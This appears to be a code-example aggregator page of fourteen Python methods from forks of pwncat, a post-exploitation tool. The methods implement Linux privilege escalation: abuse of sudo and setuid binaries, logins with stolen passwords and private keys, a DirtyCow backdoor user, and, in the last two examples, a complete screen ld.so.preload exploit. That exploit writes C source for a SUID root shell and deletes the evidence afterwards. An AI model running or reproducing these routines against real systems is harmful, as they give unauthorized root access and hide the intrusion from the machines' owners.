예제 #1
0
파일: screen.py 프로젝트: anivedh555/pwncat
    def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
        """ Find all techniques known at this time """

        # If we have ran this before, don't bother running it
        if self.ran_before or not (Capability.SHELL & capability):
            return []

        # Carve out the version of screen
        version_output = pwncat.victim.run("screen -v").decode("utf-8").strip()
        match = re.search(r"(\d+\.\d+\.\d+)", version_output)
        if not match:
            raise PrivescError("could not gather screen version")

        # Knowing the version of screen, check if it is vulnerable...
        version_triplet = [int(x) for x in match.group().split(".")]

        if version_triplet[0] > 4:
            raise PrivescError("screen seemingly not vulnerable")

        if version_triplet[0] == 4 and version_triplet[1] > 5:
            raise PrivescError("screen seemingly not vulnerable")

        if (
            version_triplet[0] == 4
            and version_triplet[1] == 5
            and version_triplet[2] >= 1
        ):
            raise PrivescError("screen seemingly not vulnerable")

        # If screen is vulnerable, try the technique!
        techniques = [Technique("root", self, None, Capability.SHELL)]
        return techniques
예제 #2
0
파일: sudo.py 프로젝트: clarksoft/pwncat
    def read_file(self, filepath: str,
                  technique: Technique) -> RemoteBinaryPipe:

        method, rule = technique.ident

        payload, input_data, exit_command = method.build(user=technique.user,
                                                         lfile=filepath,
                                                         spec=rule.command)

        mode = "r"
        if method.stream is Stream.RAW:
            mode += "b"

        try:
            pipe = pwncat.victim.sudo(
                payload,
                as_is=True,
                stream=True,
                mode=mode,
                exit_cmd=exit_command.encode("utf-8"),
            )
        except PermissionError as exc:
            raise PrivescError(str(exc))

        pwncat.victim.client.send(input_data.encode("utf-8"))

        return method.wrap_stream(pipe)
예제 #3
0
파일: sudo.py 프로젝트: clarksoft/pwncat
    def write_file(self, filepath: str, data: bytes, technique: Technique):

        method, rule = technique.ident

        payload, input_data, exit_command = method.build(user=technique.user,
                                                         lfile=filepath,
                                                         spec=rule.command,
                                                         length=len(data))

        mode = "w"
        if method.stream is Stream.RAW:
            mode += "b"

        try:
            pipe = pwncat.victim.sudo(
                payload,
                as_is=True,
                stream=True,
                mode=mode,
                exit_cmd=exit_command.encode("utf-8"),
            )
        except PermissionError as exc:
            raise PrivescError(str(exc))

        pwncat.victim.client.send(input_data.encode("utf-8"))

        with method.wrap_stream(pipe) as pipe:
            pipe.write(data)
예제 #4
0
파일: setuid.py 프로젝트: serWazito0/pwncat
    def write_file(self, filepath: str, data: bytes, technique: Technique):

        method = technique.ident

        payload, input_data, exit_cmd = method.build(lfile=filepath,
                                                     length=len(data),
                                                     suid=True)

        mode = "w"
        if method.stream is Stream.RAW:
            mode += "b"

        try:
            # data_printable = data.decode("utf-8").isprintable()
            # Use the custom `util.isprintable()` so we can keep newlines
            data_printable = util.isprintable(data)

        except UnicodeDecodeError:
            data_printable = False

        if method.stream == Stream.PRINT and not data_printable:
            raise PrivescError(f"{technique}: input data not printable")

        # Send the read payload
        pipe = pwncat.victim.subprocess(
            payload,
            mode,
            data=input_data.encode("utf-8"),
            exit_cmd=exit_cmd.encode("utf-8"),
            no_job=True,
        )

        # Wrap the stream in case this is an encoded write
        with method.wrap_stream(pipe) as pipe:
            pipe.write(data)
예제 #5
0
    def execute(self, technique: Technique):

        current_user = pwncat.victim.current_user

        password = technique.ident.encode("utf-8")

        if current_user.name != "root":
            # Send the su command, and check if it succeeds
            pwncat.victim.run(
                f'su {technique.user} -c "echo good"', wait=False,
            )

            pwncat.victim.recvuntil(": ")
            pwncat.victim.client.send(password + b"\n")

            # Read the response (either "Authentication failed" or "good")
            result = pwncat.victim.recvuntil("\n")
            # Probably, the password wasn't echoed. But check all variations.
            if password in result or result == b"\r\n" or result == b"\n":
                result = pwncat.victim.recvuntil("\n")

            if b"failure" in result.lower() or b"good" not in result.lower():
                raise PrivescError(f"{technique.user}: invalid password")

        pwncat.victim.process(f"su {technique.user}", delim=False)

        if current_user.name != "root":
            pwncat.victim.recvuntil(": ")
            pwncat.victim.client.sendall(technique.ident.encode("utf-8") + b"\n")
            pwncat.victim.flush_output()

        return "exit"
예제 #6
0
    def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
        """
        Enumerate capabilities for this method.

        :param capability: the requested capabilities
        :return: a list of techniques implemented by this method
        """

        for fact in pwncat.victim.enumerate.iter("system.service"):
            if "ssh" in fact.data.name and fact.data.state == "running":
                break
        else:
            raise PrivescError("no sshd service running")

        # We only provide shell capability
        if Capability.SHELL not in capability:
            return []

        techniques = []
        for fact in pwncat.victim.enumerate.iter(typ="system.user.private_key"):
            util.progress(f"enumerating private key facts: {str(fact.data)}")
            if not fact.data.encrypted:
                techniques.append(
                    Technique(fact.data.user.name, self, fact.data, Capability.SHELL)
                )

        return techniques
예제 #7
0
    def execute(self, technique: Technique):
        """ Run the specified technique """

        with open("data/dirtycow/mini_dirtycow.c") as h:
            dc_source = h.read()

        dc_source = dc_source.replace(
            "PWNCAT_USER", pwncat.victim.config["backdoor_user"]
        )
        dc_source = dc_source.replace(
            "PWNCAT_PASS", pwncat.victim.config["backdoor_pass"]
        )

        self.ran_before = True

        writer = gtfobins.Binary.find_capability(pwncat.victim.which, Capability.WRITE)
        if writer is None:
            raise PrivescError("no file write methods available from gtfobins")

        dc_source_file = pwncat.victim.run("mktemp").decode("utf-8").strip()
        dc_binary = pwncat.victim.run("mktemp").decode("utf-8").strip()

        # Write the file
        pwncat.victim.run(writer.write_file(dc_source, dc_source))

        # Compile Dirtycow
        pwncat.victim.run(f"cc -pthread {dc_source_file} -o {dc_binary} -lcrypt")

        # Run Dirtycow
        pwncat.victim.run(dc_binary)

        # Reload /etc/passwd
        pwncat.victim.reload_users()

        if pwncat.victim.privesc.backdoor_user_name not in pwncat.victim.users:
            raise PrivescError("backdoor user not created")

        # Become the new user!
        pwncat.victim.run(f"su {pwncat.victim.privesc.backdoor_user_name}", wait=False)
        pwncat.victim.recvuntil(": ")

        pwncat.victim.client.send(
            pwncat.victim.privesc.backdoor_password.encode("utf-8") + b"\n"
        )

        return "exit"
예제 #8
0
파일: sudo.py 프로젝트: anivedh555/pwncat
    def send_password(self, current_user: "******"):

        # peak the output
        output = pwncat.victim.peek_output(some=False).lower()

        if (b"[sudo]" in output or b"password for " in output
                or output.endswith(b"password: "******"lecture" in output):
            if current_user.password is None:
                pwncat.victim.client.send(
                    CTRL_C)  # break out of password prompt
                raise PrivescError(
                    f"user {Fore.GREEN}{current_user.name}{Fore.RESET} has no known password"
                )
        else:
            return  # it did not ask for a password, continue as usual

        # Flush any waiting output
        pwncat.victim.flush_output()

        # Reset the timeout to allow for sudo to pause
        old_timeout = pwncat.victim.client.gettimeout()
        pwncat.victim.client.settimeout(5)
        pwncat.victim.client.send(
            current_user.password.encode("utf-8") + b"\n")

        output = pwncat.victim.peek_output(some=True)

        # Reset the timeout to the originl value
        pwncat.victim.client.settimeout(old_timeout)

        if (b"[sudo]" in output or b"password for " in output
                or b"sorry, " in output or b"sudo: " in output):
            pwncat.victim.client.send(CTRL_C)  # break out of password prompt

            # Flush all the output
            pwncat.victim.recvuntil(b"\n")
            raise PrivescError(
                f"user {Fore.GREEN}{current_user.name}{Fore.RESET} could not sudo"
            )

        return
예제 #9
0
    def execute(self, technique: Technique) -> bytes:
        """
        Escalate to the new user and return a string used to exit the shell

        :param technique: the technique to user (generated by enumerate)
        :return: an exit command
        """

        # Escalate
        try:
            pwncat.victim.su(technique.user, technique.ident.password)
        except PermissionError as exc:
            raise PrivescError(str(exc))

        return "exit\n"
예제 #10
0
    def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
        """ Find all techniques known at this time """

        if self.ran_before or (Capability.SHELL & capability):
            return []

        # Determine if this kernel version is vulnerable
        kernel = pwncat.victim.run("uname -r").decode("utf-8").strip()
        triplet = [int(x) for x in kernel.split(".")]
        if triplet[0] > 4:
            raise PrivescError("kernel seemingly not vulnerable")

        if triplet[0] == 4 and triplet[1] == 7 and triplet[2] >= 9:
            raise PrivescError("kernel seemingly not vulnerable")

        if triplet[0] == 4 and triplet[1] == 8 and triplet[2] >= 3:
            raise PrivescError("kernel seemingly not vulnerable")

        if triplet[0] == 4 and triplet[1] == 4 and triplet[2] >= 26:
            raise PrivescError("kernel seemingly not vulnerable")

        techniques = [Technique("root", self, None, Capability.SHELL)]

        return techniques
예제 #11
0
파일: sudo.py 프로젝트: clarksoft/pwncat
    def execute(self, technique: Technique):
        """ Run the specified technique """

        method, rule = technique.ident

        payload, input_data, exit_command = method.build(
            user=technique.user, shell=pwncat.victim.shell, spec=rule.command)

        try:
            pwncat.victim.sudo(payload, as_is=True, wait=False)
        except PermissionError as exc:
            raise PrivescError(str(exc))

        pwncat.victim.client.send(input_data.encode("utf-8"))

        return exit_command
예제 #12
0
    def execute(self, technique: Technique) -> bytes:
        """
        Escalate to the new user and return a string used to exit the shell

        :param technique: the technique to user (generated by enumerate)
        :return: an exit command
        """

        # Escalate
        try:
            pwncat.victim.su(technique.user, technique.ident.data.value)
        except PermissionError as exc:
            # Don't try this again, and mark it as dirty in the database
            technique.ident.data.invalid.append(technique.user)
            flag_modified(technique.ident, "data")
            pwncat.victim.session.commit()
            raise PrivescError(str(exc))

        return "exit\n"
예제 #13
0
파일: screen.py 프로젝트: clarksoft/pwncat
    def execute(self, technique: Technique):
        """ Run the specified technique """

        # Grab the path from the fact (see self.enumerate)
        screen = technique.ident.data.path

        # Write the rootshell source code
        rootshell_source = textwrap.dedent(f"""
                #include <stdio.h>
                int main(void){{
                    setuid(0);
                    setgid(0);
                    seteuid(0);
                    setegid(0);
                    execvp("{pwncat.victim.shell}", NULL, NULL);
                }}
                """).lstrip()

        # Compile the rootshell binary
        try:
            rootshell = pwncat.victim.compile([StringIO(rootshell_source)])
        except CompilationError as exc:
            raise PrivescError(f"compilation failed: {exc}")

        rootshell_tamper = pwncat.victim.tamper.created_file(rootshell)

        # Write the library
        libhack_source = textwrap.dedent(f"""
                #include <stdio.h>
                #include <sys/types.h>
                #include <unistd.h>
                __attribute__ ((__constructor__))
                void dropshell(void){{
                    chown("{rootshell}", 0, 0);
                    chmod("{rootshell}", 04755);
                    unlink("/etc/ld.so.preload");
                }}
                """).lstrip()

        # Compile libhack
        try:
            libhack_so = pwncat.victim.compile(
                [StringIO(libhack_source)],
                cflags=["-fPIC", "-shared"],
                ldflags=["-ldl"],
            )
        except CompilationError as exc:
            pwncat.victim.tamper.remove(rootshell_tamper)
            raise PrivescError("compilation failed: {exc}")

        # Switch to /etc but save our previous directory so we can return to it
        old_cwd = pwncat.victim.env(["pwd"]).strip().decode("utf-8")
        pwncat.victim.run("cd /etc")

        # Run screen with our library, saving the umask before changing it
        start_umask = pwncat.victim.run("umask").decode("utf-8").strip()
        pwncat.victim.run("umask 000")

        # Run screen, loading our library and causing our rootshell to be SUID
        pwncat.victim.run(
            f'{screen} -D -m -L ld.so.preload echo -ne "{libhack_so}"')

        # Trigger the exploit
        pwncat.victim.run(f"{screen} -ls")

        # We no longer need the shared object
        pwncat.victim.env(["rm", "-f", libhack_so])

        # Reset umask to the saved value
        pwncat.victim.run(f"umask {start_umask}")

        # Check if the file is owned by root
        file_owner = pwncat.victim.run(f"stat -c%u {rootshell}").strip()
        if file_owner != b"0":

            # Hop back to the original directory
            pwncat.victim.env(["cd", old_cwd])

            # Ensure the files are removed
            pwncat.victim.env(["rm", "-f", rootshell])

            raise PrivescError("failed to create root shell")

        # Hop back to the original directory
        pwncat.victim.env(["cd", old_cwd])

        # Start the root shell!
        pwncat.victim.run(rootshell, wait=False)
예제 #14
0
파일: screen.py 프로젝트: anivedh555/pwncat
    def execute(self, technique: Technique):
        """ Run the specified technique """

        self.ran_before = True

        # Hide the activity by creating hidden temporary files
        libhack_c = (
            pwncat.victim.run("mktemp -t .XXXXXXXXXXX --suffix .c")
            .decode("utf-8")
            .strip()
        )
        libhack_so = (
            pwncat.victim.run("mktemp -t .XXXXXXXXXXX --suffix .so")
            .decode("utf-8")
            .strip()
        )
        rootshell_c = (
            pwncat.victim.run("mktemp -t .XXXXXXXXXXX --suffix .c")
            .decode("utf-8")
            .strip()
        )
        rootshell = pwncat.victim.run("mktemp -t .XXXXXXXXXXX").decode("utf-8").strip()

        # Write the library
        libhack_source = textwrap.dedent(
            f"""
                #include <stdio.h>
                #include <sys/types.h>
                #include <unistd.h>
                __attribute__ ((__constructor__))
                void dropshell(void){{
                    chown("{rootshell}", 0, 0);
                    chmod("{rootshell}", 04755);
                    unlink("/etc/ld.so.preload");
                }}
                """
        ).lstrip()

        with pwncat.victim.open(libhack_c, "w", length=len(libhack_source)) as filp:
            filp.write(libhack_source)

        # Compile the library
        pwncat.victim.run(f"gcc -fPIC -shared -ldl -o {libhack_so} {libhack_c}")

        # Write the rootshell source code
        rootshell_source = textwrap.dedent(
            f"""
                #include <stdio.h>
                int main(void){{
                    setuid(0);
                    setgid(0);
                    seteuid(0);
                    setegid(0);
                    execvp("{pwncat.victim.shell}", NULL, NULL);
                }}
                """
        ).lstrip()

        with pwncat.victim.open(rootshell_c, "w", length=len(rootshell_source)) as filp:
            filp.write(rootshell_source)

        # Compile the rootshell binary
        pwncat.victim.run(f"gcc -o {rootshell} {rootshell_c}")

        # Switch to /etc but save our previous directory so we can return to it
        pwncat.victim.run("pushd /etc")

        # Run screen with our library, saving the umask before changing it
        start_umask = pwncat.victim.run("umask").decode("utf-8").strip()
        pwncat.victim.run("umask 000")
        # sleep(1)
        pwncat.victim.run(f'screen -D -m -L ld.so.preload echo -ne "{libhack_so}"')
        # sleep(1)

        # Trigger the exploit
        pwncat.victim.run("screen -ls")

        # Reset umask to the saved value
        pwncat.victim.run(f"umask {start_umask}")

        # Check if the file is owned by root
        file_owner = pwncat.victim.run(f"stat -c%u {rootshell}").strip()
        if file_owner != b"0":

            raise PrivescError("failed to create root shell")

        # Hop back to the original directory
        pwncat.victim.run("popd")

        # Start the root shell!
        pwncat.victim.run(f"{rootshell}", wait=False)

        # Remove the evidence
        pwncat.victim.run(f"unlink {libhack_so} {libhack_c} {rootshell_c} {rootshell}")